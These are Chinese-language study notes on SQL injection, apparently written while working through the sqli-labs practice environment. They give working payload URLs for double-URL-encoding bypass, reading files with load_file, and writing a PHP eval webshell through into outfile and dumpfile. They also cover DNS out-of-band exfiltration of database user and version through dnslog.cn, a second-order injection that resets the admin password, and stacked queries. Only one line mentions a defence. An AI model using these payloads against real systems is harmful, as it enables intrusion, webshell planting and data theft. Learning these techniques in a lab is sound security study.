二次解码注入
url编码 在前面加上%
比如\ 它的ascii码是92 那么92对应的16进制是5c 所以它的url是%5c
php解码函数 urlcode() rawurlcode()
默认的GET和POST请求 ,php会先解码一次
例如 admin’ –> admin%27 -> admin%2527 -> admin %27 -> (转移函数) -> admin%27 ->url解码 ->admin’
输入时 输入 admin%2527 因为%25=% 浏览器解码为admin%27 经过php中url函数解码为 admin' 从而实现注入
还有各种uu base64 ..等等。
读写文件漏洞
配置在my.ini文件里 secure_file_priv 函数
如果没有参数 则为没有限制
如果为NULL 代表不能
还可以指定路径 指定参数 则可以访问指定参数的路径
用@@datadir 函数先确定是否为phpstudy
判断为phpstudy
接下来利用读文件函数 在指定显示位爆出文件内容
http://localhost/sqli-labs-master/Less-2/?id=-11 union select 1,load_file("F:\\phpstudy\\PHPTutorial\\php\\php-5.4.45\\php.ini"),3
写文件操作(可以用于写入木马)
可以将爆出的数据保存到指定位置
http://localhost/sqli-labs-master/Less-2/?id=-11 union select 1,load_file("F:\\phpstudy\\PHPTutorial\\php\\php-5.4.45\\php.ini"),3 into outfile "F:\\123.txt"-- -
或者上穿一句话木马到指定站上文件
http://localhost/sqli-labs-master/Less-2/?id=-11 union select "","<?php @eval($_REUQUEST[666])?>","" into dumpfile "F:\\123.txt"-- -
dumpfile 和outfile区别 dumpfile可以去掉两端空格 可以只上传一句话 outfile有空格 可能会出现影响
如何确定网络路径
@@datadir @@basedir
带外攻击
工具网站dnslog.cn
利用dns服务器的原理 将一个网站域名进行解析 顺带着i想爆出来的内容
例如:
http://localhost/sqli-labs-master/Less-8?id=1 ' and load_file(concat("\\\\",version(),".43nq11.dnslog.cn\\1.txt")) -- -
在dnslog.cn网站就会显示
解析出来的网站不能带特殊符号,所以user()函数不能用 需要进行转码函数
http://localhost/sqli-labs-master/Less-8?id=1 ' and load_file(concat("\\\\",hex(user()),".43nq11.dnslog.cn\\1.txt")) -- -
然后去转码网站将编码转回来就可以得到结果了
二次注入
存在于注册忘记密码等界面
首先分析在注册登陆和重置密码页面是否存在注入点
注册不能覆盖 (发现可以找到哪些用户已经被注册)
修改密码->发现各密码字段不能注入
注入原理大概是 我想修改admin的密码 我去注册一个admin' -- - 的账号 然后在重置密码页面因为你的账号和语句拼接导致后面的旧密码验证注释,所以可以直接修改admin的密码
实战操作
登陆这个账号
然后重置密码 这时候重置的就是admin的密码
登陆即可
防御手段:在注册界面限制输入特殊符号
堆叠(多语句)注入
musqli_multi_query函数 可以执行多条sql语句
先找到注入点,再写sql语句 用;隔开
http://localhost/sqli-labs-master/Less-38/?id=1';select "<?php phpinfo();>" into outfile "F:\\abc.txt ";-- -